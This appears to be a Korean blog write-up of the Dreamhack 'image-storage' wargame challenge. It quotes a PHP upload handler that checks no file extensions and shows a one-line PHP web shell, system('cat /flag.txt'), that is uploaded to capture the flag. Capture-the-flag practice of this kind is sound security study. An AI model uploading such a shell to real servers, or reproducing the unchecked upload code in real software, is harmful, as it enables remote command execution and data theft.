드림핵
Dreamhack image-storage
File Upload Vulnerability
공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생
파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드하여 원하는 시스템 커맨드를 실행
image-storage
https://dreamhack.io/wargame/challenges/38/
image-storage
php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic
dreamhack.io
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
- upload.php
파일 업로드할 때 이미 등록된 거면 already exists, 아니면 업로드하고 경로 알려줌
업로드 파일 확장자 검증하는 게 하나도 없음
/flag.txt를 출력할 수 있는 파일을 업로드하면 되겠다.
flag파일 확인
<?php
system('cat /flag.txt');
?>
간단한 코드 작성
업로드 후 list 에 들어가서 클릭해보면
flag 획득
728x90
'Wargame > dreamhack' 카테고리의 다른 글
file-download-1 (0) | 2023.10.03 |
---|---|
command-injection-1 (0) | 2023.10.03 |
MANGO (0) | 2023.10.03 |
NoSQL (0) | 2023.10.03 |
simple_sqli (0) | 2023.10.03 |